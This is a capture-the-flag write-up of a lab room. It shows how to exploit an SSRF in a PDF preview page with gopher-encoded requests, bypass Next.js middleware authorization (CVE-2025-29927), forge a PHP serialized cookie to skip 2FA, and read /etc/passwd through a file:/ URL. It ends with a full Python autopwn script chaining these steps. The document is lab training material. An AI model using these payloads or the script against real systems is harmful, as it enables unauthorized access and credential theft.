Extract

Can you extract the secrets of the library? - by l000g1c

The following post by 0xb0b is licensed under CC BY 4.0


Recon

We start with a Nmap scan and find two open ports: Port 22 with SSH, and the other is port 80, which has the Apache 2.4.58 web server.

We visit the index page and see a document preview page for PDFs. Nothing special yet.

In the source we see a smal script loads a given PDF into an iframe by passing its URL to preview.php and then makes the iframe visible.

We continue with a directory scan and we find a management directory.

feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u "http://extract.thm/"                                                        

But the Access is denied to http://extract.thm/management

Next, we visit the preview.php page, recalling the source of the index page. It informs us, that the url param is missing.

SSRF

The preview page with the URL parameter looks very much like a server-side request forgery (SSRF) vulnerability. We are now testing for this.

Detection

We have a Server Side Request Vulnerability in front of us, since we can reach out to our own web server: http://extract.thm/preview.php?url=http://10.14.90.235.

Since we know we are dealing with a PHP web server we could try to provide a web shell with a simple Python web server, but the SSRF does not leverage to evaluation of the code. If we provide the web shell via a PHP web server it gets evaluated on our machine.

For now, we submit the localhost and see a preview is still possible.

http://extract.thm/preview.php?url=127.0.0.1

Next, we try to reach out to /management which we had no access before. This reveals us a login page for the TryBookMe page.

http://extract.thm/preview.php?url=127.0.0.1/management

From there we can't just submit anything to the form, unless we can use gopher protocol to leverage GET and POST requests in SSRF.

Enumerate Internal Services

But for now, we continue with enumerating internal services. For this we craft a wordlist containing all possible ports.

seq 65535 > ports.txt

And reach out to every possible service using FFuF. We are able to identify a service on port 10000.

ffuf -w ports.txt -u 'http://extract.thm/preview.php?url=127.0.0.1:FUZZ' -fw 1

We reach out to 127.0.0.1:10000 and see that the access is permitted. But There's also a link to the API http://extract.thm/customapi.

http://extract.thm/preview.php?url=127.0.0.1:10000
http://extract.thm/customapi

We view the source on http://extract.thm/preview.php?url=127.0.0.1:10000 and it looks like a page crafted with NextJS.

< !DOCTYPE html > < html lang = "en" > < head > < meta charSet = "utf-8" / > < meta name = "viewport"
content = "width=device-width, initial-scale=1" / > < link rel = "stylesheet"
href = "/_next/static/css/178989e77b112f7f.css"
crossorigin = ""
data - precedence = "next" / > < link rel = "preload"
as = "script"
fetchPriority = "low"
href = "/_next/static/chunks/webpack-8fc0c21e0210cbd2.js"
crossorigin = "" / > < script src = "/_next/static/chunks/fd9d1056-ffbd49fae2ee76ea.js"
async = ""
crossorigin = "" > < /script><script src="/_next / static / chunks / 472 - 22e55 b21ed910619.js " async="
" crossorigin="
"></script><script src=" / _next / static / chunks / main - app - 321 a014647b5278e.js " async="
" crossorigin="
"></script><title>TryBookMe API</title><meta name="
description " content="
API Service
for TryBookMe "/><script src=" / _next / static / chunks / polyfills - c67a75d1b6f99dc8.js " crossorigin="
" noModule="
"></script></head><body><main style="
max - width: 1000 px;
margin: 0 auto;
padding: 20 px "><header style="
margin - bottom: 20 px "><h1 style="
font - size: 24 px;
font - weight: bold ">TryBookMe</h1><nav style="
margin - top: 10 px "><ul style="
display: flex;
gap: 16 px "><li><a href=" / " style="
color: blue;
text - decoration: underline ">Home</a></li><li><a href=" / customapi " style="
color: blue;
text - decoration: underline ">API</a></li></ul></nav></header><div style="
padding: 2 rem;
max - width: 1200 px;
margin: 0 auto "><div style="
background: #fff8f8;
border: 1 px solid #ffcdd2;
padding: 1.5 rem;
border - radius: 8 px;
margin - top: 2 rem "><h2 style="
font - size: 1.8 rem;
margin - bottom: 1 rem;
color: #d32f2f ">Warning</h2><p style="
font - size: 1.1 rem;
line - height: 1.6 ">Unauthorised access to this system is strictly prohibited.</p></div></div></main><script src=" / _next / static / chunks / webpack - 8 fc0c21e0210cbd2.js " crossorigin="
" async="
"></script><script>(self.__next_f=self.__next_f||[]).push([0]);self.__next_f.push([2,null])</script><script>self.__next_f.push([1,"
1: HL[\"/_next/static/css/178989e77b112f7f.css\",\"style\",{\"crossOrigin\":\"\"}]\n0:\"$L2\"\n"]) < /script><script>self.__next_f.push([1,"3:I[3728,[],\"\"]\n5:I[9928,[],\"\"]\n6:I[6954,[],\"\"]\n7:I[7264,[],\"\"]\n"])</script > < script > self.__next_f.push([1, "2:[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/178989e77b112f7f.css\",\"precedence\":\"next\",\"crossOrigin\":\"\"}]],[\"$\",\"$L3\",null,{\"buildId\":\"k9Pjo5x24QkUE90SdyHNw\",\"assetPrefix\":\"\",\"initialCanonicalUrl\":\"/\",\"initialTree\":[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],\"initialHead\":[false,\"$L4\"],\"globalErrorComponent\":\"$5\",\"children\":[null,[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"main\",null,{\"style\":{\"maxWidth\":\"1000px\",\"margin\":\"0 auto\",\"padding\":\"20px\"},\"children\":[[\"$\",\"header\",null,{\"style\":{\"marginBottom\":\"20px\"},\"children\":[[\"$\",\"h1\",null,{\"style\":{\"fontSize\":\"24px\",\"fontWeight\":\"bold\"},\"children\":\"TryBookMe\"}],[\"$\",\"nav\",null,{\"style\":{\"marginTop\":\"10px\"},\"children\":[\"$\",\"ul\",null,{\"style\":{\"display\":\"flex\",\"gap\":\"16px\"},\"children\":[[\"$\",\"li\",null,{\"children\":[\"$\",\"a\",null,{\"href\":\"/\",\"style\":{\"color\":\"blue\",\"textDecoration\":\"underline\"},\"children\":\"Home\"}]}],[\"$\",\"li\",null,{\"children\":[\"$\",\"a\",null,{\"href\":\"/customapi\",\"style\":{\"color\":\"blue\",\"textDecoration\":\"underline\"},\"children\":\"API\"}]}]]}]}]]}],[\"$\",\"$L6\",null,{\"parallelRouterKey\":\"children\",\"segmentPath\":[\"children\"],\"loading\":\"$undefined\",\"loadingStyles\":\"$undefined\",\"loadingScripts\":\"$undefined\",\"hasLoading\":false,\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L7\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}\"}}],[\"$\",\"h1\",null,{\"className\":\"next-error-h1\",\"style\":{\"display\":\"inline-block\",\"margin\":\"0 20px 0 0\",\"padding\":\"0 23px 0 0\",\"fontSize\":24,\"fontWeight\":500,\"verticalAlign\":\"top\",\"lineHeight\":\"49px\"},\"children\":\"404\"}],[\"$\",\"div\",null,{\"style\":{\"display\":\"inline-block\"},\"children\":[\"$\",\"h2\",null,{\"style\":{\"fontSize\":14,\"fontWeight\":400,\"lineHeight\":\"49px\",\"margin\":0},\"children\":\"This page could not be found.\"}]}]]}]}]],\"notFoundStyles\":[],\"childProp\":{\"current\":[\"$L8\",[\"$\",\"div\",null,{\"style\":{\"padding\":\"2rem\",\"maxWidth\":\"1200px\",\"margin\":\"0 auto\"},\"children\":[\"$\",\"div\",null,{\"style\":{\"background\":\"#fff8f8\",\"border\":\"1px solid #ffcdd2\",\"padding\":\"1.5rem\",\"borderRadius\":\"8px\",\"marginTop\":\"2rem\"},\"children\":[[\"$\",\"h2\",null,{\"style\":{\"fontSize\":\"1.8rem\",\"marginBottom\":\"1rem\",\"color\":\"#d32f2f\"},\"children\":\"Warning\"}],[\"$\",\"p\",null,{\"style\":{\"fontSize\":\"1.1rem\",\"lineHeight\":1.6},\"children\":\"Unauthorised access to this system is strictly prohibited.\"}]]}]}],null],\"segment\":\"__PAGE__\"},\"styles\":null}]]}]}]}],null]}]]\n"]) < /script><script>self.__next_f.push([1,"4:[[\"$\",\"meta\",\"0\",{\"name\":\"viewport\",\"content\":\"width=device-width, initial-scale=1\"}],[\"$\",\"meta\",\"1\",{\"charSet\":\"utf-8\"}],[\"$\",\"title\",\"2\",{\"children\":\"TryBookMe API\"}],[\"$\",\"meta\",\"3\",{\"name\":\"description\",\"content\":\"API Service for TryBookMe\"}]]\n8:null\n"])</script > < script > self.__next_f.push([1, ""]) < /script></body > < /html>

API Access - Authorization Bypass CVE-2025-29927

After some research, we find a recently published CVE on NextJS and an authorization bypass:

This requires us to make a request with a header.

x-middleware-subrequest: middleware

As we have already mentioned some times, we will probably have to use Gopher. A Gopher request is a text-based query sent to a server over TCP port 70 as part of the Gopher protocol. The request contains a selector string ending with \r\n, and the server responds with either menus, documents, or binary data. Although largely obsolete, Gopher requests can be still relevant in security contexts such as SSRF exploitation like we have here.

A small guide on how to use Gopher and crafting own request can be found here:

The following tools might assist us:

We try to use SSRFgopher to craft us a request with the middleware-subrequest header to bypass the authorization check like explained in CVE-2025-29927.

Neither the single URL encoded payload nor the double URL encoded seems to work. From now on we try to craft them on our own.

gopher://127.0.0.1:10000/_GET%20customapi%20HTTP/1.1%0aHost:%20127.0.0.1%0ax-middleware-subrequest:%20middleware%0a%0a

With the following request without using the header yet, we retrieve a chunked redirect by double URL encoding it manually. Its encoded ny the followin scheme:

  • double-encode spaces (%2520), CR (%250d), LF (%250a).

  • Single-encode the forward slash (%2f).

  • Not encoded: keywords like GET, HTTP/1.1, Host:, digits, and colons.

gopher://127.0.0.1:10000/_GET /customapi HTTP/1.1
Host: 127.0.0.1:10000
gopher://127.0.0.1:10000/_GET%2520%2fcustomapi%2520HTTP%2f1.1%250d%250aHost:%2520127.0.0.1:10000%250d%250a 

Now we add the header x-middleware-subrequest: middleware:

gopher://127.0.0.1:10000/_GET /customapi HTTP/1.1
Host: 127.0.0.1:10000
x-middleware-subrequest: middleware

With the following double URL encoded request we are able to retrieve the credentials of the user librarian - recalling the login page at /management. Furthermore we are able to spot the first flag.

gopher://127.0.0.1:10000/_GET%2520%2fcustomapi%2520HTTP%2f1.1%250d%250aHost:%2520127.0.0.1:10000%250d%250ax-middleware-subrequest:%2520middleware%250d%250a

Management Access

With the obtained credentials, we return back to the /management page - which was also accessible via the SSRF. We then craft a Gopher GET request and review the page source to identify the POST parameters used by the form. The POST data parameters username and password are used.

gopher://127.0.0.1:80/_GET /management/ HTTP/1.1
Host: 127.0.0.1
Connection: close
gopher://127.0.0.1:80/_GET%2520%2Fmanagement%252F%2520HTTP%2F1.1%250D%250AHost%3A%2520127.0.0.1%250D%250AConnection%3A%2520close%250D%250A%250D%250A

We could also just inspect the source by our initial SSRF request.

view-source:http://extract.thm/preview.php?url=127.0.0.1/management

We prepare the gopher request, and URL encoded first the last bits of the password.

gopher://127.0.0.1:80/_POST /management/index.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Connection: close

username=librarian&password=REDACTED%21%21

Next, we double URL encode the request again with the scheme from before.

gopher://127.0.0.1:80/_POST%20/management/index.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2043%0D%0AConnection:%20close%0D%0A%0D%0Ausername=librarian&password=REDACTED%2521%2521

We receive a redirect to a 2FA page, we see an auth token set in the cookies as well as a PHPSESSID.

gopher://127.0.0.1:80/_POST%2520%2Fmanagement%2Findex.php%2520HTTP%2F1.1%250D%250AHost%3A%2520127.0.0.1%250D%250AContent-Type%3A%2520application%2Fx-www-form-urlencoded%250D%250AContent-Length%3A%252043%250D%250AConnection%3A%2520close%250D%250A%250D%250Ausername%3Dlibrarian%26password%3DREDACTED%252521%252521

We decode the token, to prepare another gopher request to the 2FA page with the token.

Our next request is prepared with the PHPSESSID cookie and the auth token:

gopher://127.0.0.1:80/_GET /management/2fa.php HTTP/1.1
Host: 127.0.0.1
Connection: close
Cookie: PHPSESSID=ivj52ff1et015t314cibok9lvk; auth_token=O:9:"AuthToken":1:{s:9:"validated";b:0;}

This time we need three layers of URL encoding. The third layer takes place in the AuthToken cookie to escape the special characters there. If we do not see a redirect, we set the token and PHPSESSID correctly.

gopher://127.0.0.1:80/_GET%2520%2Fmanagement%2F2fa.php%2520HTTP%2F1.1%250D%250AHost%3A%2520127.0.0.1%250D%250AConnection%3A%2520close%250D%250ACookie%3A%2520PHPSESSID%3D0st3nodd7h85uamu0tok6tci63%3B%2520auth_token%3DO%25253A9%25253A%252522AuthToken%252522%25253A1%25253A%25257Bs%25253A9%25253A%252522validated%252522%25253Bb%25253A0%25253B%25257D%250D%250A%250D%250A

We are not logged in yet, since have not set the validation of the 2FA token: auth_token=O:9:"AuthToken":1:{s:9:"validated";b:0;}

We can set it like the following:

auth_token=O:9:"AuthToken":1:{s:9:"validated";b:1;}

We prepare the Gopher request and URL Encode the payload like mentioned before:

gopher://127.0.0.1:80/_GET /management/2fa.php HTTP/1.1
Host: 127.0.0.1
Connection: close
Cookie: PHPSESSID=0st3nodd7h85uamu0tok6tci63; auth_token=O:9:"AuthToken":1:{s:9:"validated";b:1;}

gopher://127.0.0.1:80/_GET%2520%2Fmanagement%2F2fa.php%2520HTTP%2F1.1%250D%250AHost%3A%2520127.0.0.1%250D%250AConnection%3A%2520close%250D%250ACookie%3A%2520PHPSESSID%3D0st3nodd7h85uamu0tok6tci63%3B%2520auth_token%3DO%25253A9%25253A%252522AuthToken%252522%25253A1%25253A%25257Bs%25253A9%25253A%252522validated%252522%25253Bb%25253A1%25253B%25257D%250D%250A%250D%250A

We are logged in an are able to retrieve the final flag:

Unintended

There is an uninteded we overlooked while testing the room. We are also able to leverage the URL parameter to a file inclusion. While file:/// gets filtered, file:/ doesn't and get properly evaluated. In this example we include /etc/passwd.

http://extract.thm/preview.php?url=file:/etc/passwd

We can inspect the sources of the different pages.

http://extract.thm/preview.php?url=file:/var/www/html/index.php

In /var/www/html/preview.php we can see the filter that is applied, but not sufficient.

http://extract.thm/preview.php?url=file:/var/www/html/preview.php

We can spot the management page we found using our directory scan. Revealing username and password. Furthermore the 2fa.php page.

http://extract.thm/preview.php?url=file:/var/www/html/management/index.php

This 2fa.php page contains the second flag.

http://extract.thm/preview.php?url=file:/var/www/html/management/2fa.php

AutoPwn by 0day aka Ryan Montgomery

This autopwn script chains multiple SSRF payloads to extract flags automatically. It first bypasses the Next.js middleware to grab the initial flag, then forges a serialized cookie to bypass 2FA and retrieve the second flag. The script is written and sharedd by 0day - Ryan Montgomery! Thank you very much for sharing!

exploit_extract.py
import re
import urllib.parse as up
import requests

R = "http://10.10.21.228/preview.php?url="
F = lambda t: re.findall(r"THM\{[^}]+\}", t)

def send(raw, port=80):
    g = "gopher://127.0.0.1:%d/_%s" % (port, up.quote(raw, safe=""))
    return requests.get(R + up.quote(g, safe=""), timeout=10).text

# --- Flag 1 (Next.js /customapi bypass) ---
hdr = ":".join(["middleware"] * 7)
raw = (
    "GET /customapi HTTP/1.1\r\n"
    "Host:127.0.0.1:10000\r\n"
    f"X-Middleware-Subrequest:{hdr}\r\n"
    "Connection:close\r\n\r\n"
)
flag1 = F(send(raw, 10000))[0]

# --- Flag 2 (login + 2FA bypass) ---
body = up.urlencode({"username": "librarian", "password": "REDACTED!!"})
req = (
    "POST /management/ HTTP/1.1\r\n"
    "Host:127.0.0.1\r\n"
    "Content-Type:application/x-www-form-urlencoded\r\n"
    f"Content-Length:{len(body)}\r\n"
    "Connection:close\r\n\r\n"
    f"{body}"
)
resp = send(req)
sid = re.search(r"PHPSESSID=([^;]+)", resp).group(1)

tok = up.quote('O:9:"AuthToken":1:{s:9:"validated";b:1;}', safe="")
req2 = (
    f"GET /management/2fa.php HTTP/1.1\r\n"
    f"Host:127.0.0.1\r\n"
    f"Cookie:PHPSESSID={sid};auth_token={tok}\r\n"
    "Connection:close\r\n\r\n"
)
flag2 = F(send(req2))[0]

# --- Output ---
print("flag1:", flag1)
print("flag2:", flag2)

Last updated

Was this helpful?